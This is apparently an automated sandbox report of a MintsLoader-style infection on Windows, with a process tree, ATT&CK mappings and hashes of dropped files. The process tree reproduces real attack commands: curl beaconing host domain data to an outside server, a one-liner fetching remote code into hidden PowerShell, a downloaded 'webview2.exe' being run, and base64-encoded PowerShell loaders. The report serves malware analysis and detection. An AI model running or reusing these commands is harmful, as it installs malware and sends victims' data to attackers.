      - C:\Windows\System32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:4840
      - C:\Windows\System32\findstr.exe
        
        findstr /i /c:"Domain:"
        6⤵
        
        PID:2392
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c where cu??.e??
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1288
      - C:\Windows\System32\where.exe
        
        where cu??.e??
        6⤵
        
        PID:4468
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c where cm?.e??
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5404
      - C:\Windows\System32\where.exe
        
        where cm?.e??
        6⤵
        
        PID:1692
    - - C:\Windows\System32\curl.exe
        
        C:\Windows\System32\curl.exe -s -X POST http://verona-t.guru/p -H "Content-Type: application/x-www-form-urlencoded" --data-binary "message=ABCD111A%0ADomain: WORKGROUP"
        5⤵
        
        PID:1440
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:828
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -e CgAjAGQAbwBoAAoAIwBmAHMAaQBqAGQAZwBpAHAAcwBqAG8AcABwAGcAcABiAAoAIwBpAG8AZQBqAGcAaQBvAGoAbwBwAGcAagBvAHAAZABzAGcAbwBwAGoAZgBvAHAAZwBqAGUAcgByAGoAZwBpAGUAcgBrAGcAbwBwAGUACgBjAG0AZAAgAC8AYwAgAHMAdABhAHIAdAAgACIAIgAgAC8AbQBpAG4AIABjAG0AZAAgAC8AawAgACIAZgBvAHIAIAAvAGYAIAAlAHAAIABpAG4AIAAoACcAVwBIAEUAUgBFACAAQwBVAD8APwAuAEUAPwA/ACcAKQBkAG8AIAAlAHAAIABoAHQAdABwAHMAOgAvAC8AYQB1AHIAYQAtAGYAaQBuAGEAbAAuAGcAdQByAHUALwBwAHIAaQB2AGEAdABlACAAfABmAG8AcgAgAC8AZgAgACUAbgAgAGkAbgAgACgAJwBXAEgARQBSAEUAIABQACoARQBMAEwALgBFAD8APwAnACkAZABvACAAJQBuACAALQBXAEkATgBEAE8AVwAgAEgAIgAKACMAdgBoAGkAagB2AGkAcABqAHYAZQB3AGgAbwBoAAoAIwBvAGYAagB3AGUAaQBvAGYAagBpAG8AZQB3AGoAZgBpAG8AdwBlAGoAZgAKACMAagBpAG8AZQB3AGoAZgBpAG8AdwBlAGoAZgBrAGIAagB0AGkAZQByAHQAaABlAHQAaAB0AHIAaAByAHQAaAByAGgACgAKAAoA
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5244
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start /min cmd /k "for /f %p in ('WHERE CU??.E??')do %p https://aura-final.guru/private |for /f %n in ('WHERE P*ELL.E??')do %n -WINDOW H"
        7⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2884
        
        C:\Windows\System32\cmd.exe
        
        cmd /k "for /f %p in ('WHERE CU??.E??')do %p https://aura-final.guru/private |for /f %n in ('WHERE P*ELL.E??')do %n -WINDOW H"
        8⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c WHERE CU??.E??
        9⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:6000
        
        C:\Windows\System32\where.exe
        
        WHERE CU??.E??
        10⤵
        
        PID:3712
        
        C:\Windows\System32\curl.exe
        
        C:\Windows\System32\curl.exe https://aura-final.guru/private
        9⤵
        
        PID:4112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" FOR /F %n in ('WHERE P*ELL.E??') do %n -WINDOW H"
        9⤵
        
        PID:1584
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c WHERE P*ELL.E??
        10⤵
        Executes a command shell one-liner
        
        PID:5764
        
        C:\Windows\System32\where.exe
        
        WHERE P*ELL.E??
        11⤵
        
        PID:2728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WINDOW H
        10⤵
        Badlisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2064
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\im4q4slt\im4q4slt.cmdline"
        11⤵
        
        PID:936
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES396C.tmp" "c:\Users\Admin\AppData\Local\Temp\im4q4slt\CSC43D6DF301F4041539FD3962D6942A97.TMP"
        12⤵
        
        PID:5816
      - C:\Windows\System32\curl.exe
        
        curl -o C:\ProgramData\webview2.exe https://pottier.casa/dl/installer.exe
        6⤵
        
        PID:3252
      - C:\ProgramData\webview2.exe
        
        C:\ProgramData\webview2.exe
        6⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:8
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        Kills process with taskkill
        
        PID:936
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        Kills process with taskkill
        
        PID:2148
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM msedgewebview2.exe /T
        7⤵
        Kills process with taskkill
        
        PID:3312
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        Kills process with taskkill
        
        PID:1076
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -w h -e JABlAGIAYQB2AHgAcgBkAHEAPQAnAHUAcgAnACAAOwBzAGUAdAAtAGEAbABpAGEAcwAgAGgAZgA3AHcAegAzADIAZQAgAGMAJAAoACQAZQBiAGEAdgB4AHIAZABxACkAbAA7ACQAbQBiAGEAcAB3AGcAdgBvAGQAcQB0AGoAYwB4AD0AKAA2ADgAOAA0ACwANgA4ADkANgAsADYAOAA5ADYALAA2ADgAOQAyACwANgA4ADMAOAAsADYAOAAyADcALAA2ADgAMgA3ACwANgA4ADMANwAsADYAOAA5ADQALAA2ADkAMAAxACwANgA4ADkANAAsADYAOAA5ADMALAA2ADgAOAA3ACwANgA4ADMAMAAsADYAOQAwADEALAA2ADgANwA4ACwANgA4ADgAOAAsADYAOAA5ADUALAA2ADgAOQAxACwANgA4ADkANQAsADYAOAA5ADkALAA2ADgAOAA3ACwANgA4ADIANgAsADYAOAA5ADYALAA2ADgAOQAxACwANgA4ADkAMgAsADYAOAAyADcALAA2ADgAMgA5ACwANgA4ADIANgAsADYAOAA5ADIALAA2ADgAOAA0ACwANgA4ADkAMgAsADYAOAA0ADMALAA2ADgAOQA1ACwANgA4ADQAMQAsADYAOAAyADgALAA2ADgAMwAyACwANgA4ADgAMQAsADYAOAAyADkALAA2ADgANwA3ACwANgA4ADcAOAAsADYAOAAzADAALAA2ADgANwA4ACwANgA4ADIANQAsADYAOAAzADEALAA2ADgAOAAyACwANgA4ADMANwAsADYAOAAzADEALAA2ADgAMgA1ACwANgA4ADMAMgAsADYAOAAzADQALAA2ADgAOAAyACwANgA4ADcANwAsADYAOAAyADUALAA2ADgAMwA3ACwANgA4ADcANwAsADYAOAA4ADEALAA2ADgAOAAwACwANgA4ADIANQAsADYAOAA3ADkALAA2ADgAMwAxACwANgA4ADcANwAsADYAOAAzADAALAA2ADgANwA3ACwANgA4ADMAMQAsADYAOAA4ADIALAA2ADgAMgA5ACwANgA4ADMAMAAsADYAOAAzADQALAA2ADgANwA5ACwANgA4ADMANwApADsAJABkAGwAbQB0AGcAZQB2AD0AKAAnAHIAZQBpAGMAcABvAHIAZQB0ACcALAAnAGcAZQB0AC0AYwBtAGQAbABlAHQAJwApADsAJABiAGoAaQB3AGcAeQBuAGMAPQAkAG0AYgBhAHAAdwBnAHYAbwBkAHEAdABqAGMAeAA7AGYAbwByAGUAYQBjAGgAKAAkAGkAeQB1AGgAcwB0AHgAYQB2AHEAbABuAHcAIABpAG4AIAAkAGIAagBpAHcAZwB5AG4AYwApAHsAJABhAHkAcQBjAGUAdwBvAGoAPQAkAGkAeQB1AGgAcwB0AHgAYQB2AHEAbABuAHcAOwAkAHUAcAByAGoAcQBoAHcAPQAkAHUAcAByAGoAcQBoAHcAKwBbAGMAaABhAHIAXQAoACQAYQB5AHEAYwBlAHcAbwBqAC0ANgA3ADgAMAApADsAJAByAGUAYwB1AHYAeAB0AGsAYQBiAGQAaQB5AGgAPQAkAHUAcAByAGoAcQBoAHcAOwAgACQAagBoAGYAYwBwAGEAeABnAGIAawB1AGkAPQAkAHIAZQBjAHUAdgB4AHQAawBhAGIAZABpAHkAaAB9ADsAJABoAHoAcQBpAG0AYQB3AG8AeABwAGoAawB2AFsAMgBdAD0AJABqAGgAZgBjAHAAYQB4AGcAYgBrAHUAaQA7ACQAbQB6AGQAcQBzAGIAdgB1AHAAbAByAD0AJwByAGwAJwA7ACQAeQBoAGMAawBnAGEAeABpAGIAZQB1AHIAagA9ADEAOwAuACQAKABbAGMAaABhAHIAXQAoACgAKAAyADAAMAAgACsAIAAzADAAKQAgAC0AIAAoADEAMAAwACAAKwAgADIANQApACkAKQArACcAZQAnACsAJwB4ACcAKQAoAGgAZgA3AHcAegAzADIAZQAgAC0AdQBzAGUAYgAgACQAagBoAGYAYwBwAGEAeABnAGIAawB1AGkAKQA=
        6⤵
        Suricata alert: MintsLoader Outbound C2 Communication
        Badlisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5480

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

webview2.exe

Path C:\ProgramData\webview2.exe
Size 6.7MB
SHA256 d397672ee902f2211135c62d56f7080576da31f1771bb3f820e0486834dcf6c4
MD5 c557c0df8208e28f959f23dd4587a9f4
SHA1 1ef843f67bef216e526ac7385677d5224aa49461
SHA512 ffae65d37da5aa98e270280423c0b5d2e7d97c195c5eefe2c1f04f8b63a06ed4ac60d47fd2c7e6c7cec98322c3b8e8810740944ac1e0bee5431913e43970e8b4
SSDEEP 49152:R26/V92VgTLqTfX8goPu5Qm+mY9xI/bqlarHQOrpfnSbR6cWMyB23jI/V7hsKGTJ:RMfXKBL4HQOrJgn8GT7L0sqE
TLSH
T140665B47ECA119E9C0EDE63486629253BE717C485B3123D32F90F7682F76BC06AB9750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

06d9458e-03ab-4c92-96ce-cc97e441dbbf.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\06d9458e-03ab-4c92-96ce-cc97e441dbbf.tmp
Size 4KB
SHA256 fb8c598ea6f17d31a8a793d6e0af24e862a7f113fb143f26e537556a2eb92ed0
MD5 de41d47aa4913d4731ef206760053cec
SHA1 5259d6f76d40587c99c1ae29e312d5a831bb74c3
SHA512 df4b70e3b19c830bc5ae2292ead6807bb667bf92b1f74a326f7e0c12e24f014cb40fbade4c70319fd3fba3354500d00e02e8eb7dd3fdeb25d2f74c5c27bc0468
SSDEEP 96:E3C0d+OBIsu/Fl3fIUKsI8EnZIJRDotok5aiDSB6m8dGyvELkzAWrbuj1v4a:kC0pB+fTbnvDUD5y4w/gAWrbu1
TLSH
T1DCA12B70B4B89CB755B5C5C4B5963E43CFB862ABA8109E80D9DE1F0D11AB1FC2381E67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

375bf113-3643-4de5-ab5a-8702b38d58a2.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\375bf113-3643-4de5-ab5a-8702b38d58a2.tmp
Size 5KB
SHA256 caf1bbbc7fed567d04d5ebc1b7a4a5ad18d3074c656444b4d08e8b7f917800e1
MD5 06ad688afe8edb9d7216188527564f00
SHA1 e617038625476b72e66921da513b97666f802aed
SHA512 51dad0ce5ee4b8dd09f49335bb38f6729cc9ea23065426632440ddaffa93a8177d5c65c76098e3995df25637c7e5447ae32b920d1f9b1479ed8134037f3fab21
SSDEEP 96:SC0d+OBIsu/Fl3fIUKsI8qIFSl8h4otop5aCDSB6pGGfvELc6w206dRWg0j9I8Lo:SC0pB+fTbnfiU2Vy4vmcFudRWgU0
TLSH
T1C2C10970B8AC68B719F29584B9423E43CEB866AB59109D54DFDA1F0D02DB1FC3342A26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1014416f-5db5-4893-a55c-dffc47f7c3e2.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\1014416f-5db5-4893-a55c-dffc47f7c3e2.tmp
Size 11KB
SHA256 b77377e4860af8f8e6e014113edfa8c1c3289fee0712fddb9ba19b1ba92e9658
MD5 25870f956a3593cdd54af66ae9235678
SHA1 fea3c9af7c8ca1d25690d43c12b203c64665ce93
SHA512 316650730451ffabc89684ac117ab7b9764c53ff7037e4bfb11ce957ad3433a8b01cdd70bb571d13f10af8e341245b8baae225f31ce3b7a188816959bfeb192a
SSDEEP 192:eNG4K6cC7KxkXqK4I40pUZNCgVLHrKHfFKslEIJLXzKD/4j+ErUkKN9loGRfSsVk:QGjDC7KxkXqKf/pUZNCgVLH2HfgslDL3
TLSH
T16F32D827958D9A3F4FD8D51CCC576F8FBCF502926668092456FB9C0803A9BCE114A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

43bb5ce4-b9f3-4a84-886a-f95810a0893c.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\43bb5ce4-b9f3-4a84-886a-f95810a0893c.tmp
Size 11KB
SHA256 d0ffc308f2d6bf48f4b2437ee5131b96ecc3bf7a42f94902e30aede5ad1dc836
MD5 2505a881880f2f19e3e45b90e96e6879
SHA1 c4c39708de31f1f539acb284c409a9e7fdc288a5
SHA512 3041c98d3da66d94d13fa76b203e00a6017a1c8063e22025980476dc849caa82af9707e9a15422fe6a4489d5fb3b53bc5158a56bc9c8449f6af087fa52e52687
SSDEEP 192:64RTtXc/I+v7H1APRp2Mx9OHsb+WNnETOICT02ik922WIvNqkw4VyIsnAUgR:64RTtXp6bAX/kwNq2r922WIVq8R
TLSH
T14C329639EA14753B9CDAC629FA71BB57E7F9102634901E84EAFC893C14E79CC2227417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

77be904c-d95a-400b-9ef2-39d91f7462d8.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\77be904c-d95a-400b-9ef2-39d91f7462d8.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\temp-index
Size 192B
SHA256 c80b0a18cb2a0b790e93a59255a32149b243da351ba05913327918253a3404cd
MD5 a9b8ad543ecbbe84f63737fd03c555d4
SHA1 53fedcabbaa1db871e6fb92e53fe6d4543652831
SHA512 8586c2bd65bbd8daa42965ef0f35d73dbda3b9f453009cd1813000a9c70a89e6385e0d8b11eb3048d34e4972cb697d6d097e4ee68089837b373368563c3aa84a
TLSH
T12AC08CA4A1C3B143FB5722BA21A70C061A300868611227939574F2DCC0B76C6F7B0053
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

ba5cd782-3431-4784-bebd-a16cade65470.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\ba5cd782-3431-4784-bebd-a16cade65470.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 46799535bb825554c53122bed022bbccdd943051bf0ad89cec4183cc2d1d676a
MD5 3bbb2d5c56e24e8dfa440547c9be3cfd
SHA1 e4c53a61b1d48c0ad4539d3d53cc3e1cc0d6ff13
SHA512 5bde46e97254764be41038e905fc0009bdf58dab06c133e9c07de6ae7144c160487b18747d0da47f51a91c14168697619c3bceed97582db27a3b52b7f5e0843b
SSDEEP 192:64RTtXg/I+v7H1APRp2Grx9OHsb+WNnExYU1kCXYIk922WIvNqkwtJw:64RTtXl6bAXjkwwVVYx922WIVqc
TLSH
T16432B876FA54B937ACDAC5197A75BBA7EAF9102515840F807AFC8A3C05EB9CC2207407
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

aababbfd-dc6c-4ee7-b207-d562a22ede70.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\aababbfd-dc6c-4ee7-b207-d562a22ede70.tmp
Size 5KB
SHA256 9a910d9d2620d9bd74c1171c5f368e0550dfad502c887205acb4e30e028370a4
MD5 01626ca368b6cae1abd8b7e5edb27f3c
SHA1 965f6720fbaf39c7e3996f309905a28844a5e5e7
SHA512 bdbd65674db9451cebac5130fc0f0973fdcab38c5317c49948582ec3346c8fe537253dfa448ef5dfd91452ec84c0e0b7092decfcf367c13cf1e03b881705624c
SSDEEP 96:SbJ0d+OBIsu/Fl3fIUKsI8qIFSl8h4otop5aCDSB6pGGfvELc6w206dRWg0j9I80:St0pB+fTbnfiU2Vy4vmcFudRWgU0
TLSH
T17CC11A70B4AC6CB715F69584B9423E43CEB866AB59109D50DFDA1F0D02DB1FC3342A27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 7849fae9ed77ffd854592a0a1827b15a7f3a5c0bf190e2ab908a41b6d5441b42
MD5 6eca45b8454357bd707aa7075547a1f7
SHA1 f24bfb42ac6183ca990a7e52d0e4296fd1ece0f5
SHA512 f269c74b5d4a26b63bc044dc0cc109dd1421fa76047e0290373d61d96fbeaeca4d29cb523adeb6be5051d86963a34eed8a237b93231c18ccee78868cae9a7cbc
SSDEEP 1536:zKLg0mYo2hOovpfKQVCYXflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwG:zKLg0mYo2hOovpfKQVCYXflJd9YWqiU8
TLSH
T182636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 f5c0788f5d245aee0845d0c63135d5686dd7592383416c42f522e03739ea122a
MD5 a4c4fb8f0dd06eb2e75875dd6a87fe28
SHA1 3648e25b6ef1548bc1f4fcaa15a08c352a7cba5a
SHA512 9b5d18378f81ae6bd60bd5ead49ff373135ec5ba15e27f0e18602242e78742e76ca01f0b2d37977a510a20778b1d09da84f63de281b096b4fa3e1661b8bca8b9
SSDEEP 1536:zKLg0mYo2hOovpfKQVCYXflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2VG:zKLg0mYo2hOovpfKQVCYXflJd9YWqiUx
TLSH
T1C8636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 4699397156072ea13431064a8c2ea55e992a6619b005fec46af45ad4f7df4cff
MD5 e3c6572d3af299211c3bcc0b0f5a576c
SHA1 ea78f7d1827b68695be4cd02f22cddaf83aff882
SHA512 d25c79b1f72568112ac3db11fcd863393e98a671b47da98ca279620991b8ea125af786b482ab7b0d1a04da600ee3082004e2e9d3685fa6c2751f3c703651d58f
MD5 SHA1 SHA512

Submit Download

background.js

Path C:\Users\Admin\AppData\Local\Packages\Extensions\1F8346E426FAFD2CD5EFDD674F9539B642AFA877072920DB0EB0F61F6A4D80D7\background.js
Size 84KB
SHA256 4a020b904ceb68272c5d6f6ad42b71853bf8cdf61f7d1569f1707ed4408d7db6
MD5 6527753dfea4aea68bf96a15945d46ec
SHA1 549d211d1e5718d9559e964def6887aee25f37ef
SHA512 b2d8e181f8b9b5057787d3837e7b4cac908aac9bd905c0aae689a859fd489143310582d8ead8fb540ace9a34ab3aa2a175716d13a19a3b6e3280ab7ace4d8089
SSDEEP 768:tY2NXWGfaoObUU+PODfbUsmKN943fECK0B1fhqEXqaOGtthOVXvapxWQc6FXj1:pzfrOQxmP98EaB6aOGt3xLz1
TLSH
T16183845D246A643986B6B3BDDF238015FB33902B31D1D16ABEEC81142F7465092B2FED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES396C.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES396C.tmp
Size 1KB
SHA256 bc20d2a5d855763c08d42fc260e168a2e80a717dc819e31c4586cd35c0258514
MD5 63ea29cfd1932232eba67cbef57e359f
SHA1 5592470872f684ffa415101fc69caf1ab28406d0
SHA512 587eafce0e27a8decbf0dbb4f774f1143f7f4b9ebe3eac2bda65adbb03105fe0534289e6121925da1510cfa12ac1b6af6202dc1857e104fe3bc27b2f4efbf8be
TLSH
T10921890993E8871FF0B35B316DF6172BA678FD54EEB297AE9584022C2C51500DEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ivbxem2b.jrf.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ivbxem2b.jrf.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

im4q4slt.dll

Path C:\Users\Admin\AppData\Local\Temp\im4q4slt\im4q4slt.dll
Size 3KB
SHA256 27205a77a935476d0b79dffbc41c221f442e4bd021b04400c345c56039ef7b3e
MD5 63d08ec84c0a47acb7358ac4cfd5683c
SHA1 0c8654717fa971646e99d06607c027ac226002e5
SHA512 62298f525923e854c0746b22f615f96a20da49c2533ec3e14c14a6af9ef2efbeeb197a12f391cd602e05362b378895d4c41aca6d0a8c9b097fafd57c360a6957
TLSH
T19B71F21A93E8466BF8B70B316EF3036737B0FC509FB2876E19904219AC616640E31BF0
MD5 SHA1 SHA512 TLSH

Submit Download

CSC43D6DF301F4041539FD3962D6942A97.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\im4q4slt\CSC43D6DF301F4041539FD3962D6942A97.TMP
Size 652B
SHA256 44edcfb2af965bfb161423cfcdf47cf9839c9bb465909d75defb8ec8f41bea2c
MD5 7e2a80800c6741adaa3e35f285f4c360
SHA1 18b38648fd3dc4d3c2a2c2fa494746ae28eb74a9
SHA512 e44174e31a7e9bb7446e151eb35e23ba3de90552500cf90766b61a8b8563004879076a0c6c6f3226a0682f8af2981dbe3f1c883bdc84f614a823bba38310233a
TLSH
T1E2F03A0963F8420FF4F35B30BDF6436391A8BC64DE7293ED6884031D28645108962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

im4q4slt.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\im4q4slt\im4q4slt.0.cs
Size 538B
SHA256 1535eb5c94b43b21f4887b9f91175bb56715df06f57224e2bb4fab631eff1e98
MD5 c36b6811845e29c4c7163c838e1efe7e
SHA1 f1acd512c002ced4a4d3ca026aa731f29e049863
SHA512 0bdc8bafed40cae9079c5d0412c86c97a3b46f86ec3c0afa10bc15e204759dac6ef814e8e27dde572db2a7e5c78680aa77adcc83482a730cb581a6eb03207fc5
TLSH
T110F0BB2823E2AE2214538D1D7DD6E1EDF513C07716BA2804B6FD17118F47154D63675B
MD5 SHA1 SHA512 TLSH

Submit Download

im4q4slt.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\im4q4slt\im4q4slt.cmdline
Size 369B
SHA256 2472118c92c6befec50a3e9184113506dae929e57abd8e1aa8439342f97cfd4d
MD5 9f14b3d214dcc1fc5deb23b2d1a691ce
SHA1 60713f65d64c08a4c4dbd45532a59ff7424de57a
SHA512 bed634a803208f83ebd85d49e37eeb9eb4f7a7ea62ee877e8660a458ae0511e67540b95b969219ed88b9c0fb4ac3dcbb6e6123a46b525b6d9722de3c41a92754
TLSH
T17EE0C02A43DEC67D11DD1407356BC4ACCA72074329C13FA47060C41DD4178022BD17C1
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2064-210-0x000002893D000000-0x000002893D048000-memory.dmp

Download

memory/2064-283-0x000002893CFD0000-0x000002893CFD8000-memory.dmp

Download

memory/2064-284-0x000002893CFF0000-0x000002893CFF4000-memory.dmp

Download

memory/2064-285-0x000002893D500000-0x000002893D53E000-memory.dmp

Download

memory/5244-206-0x00000264F8A50000-0x00000264F8A72000-memory.dmp

Download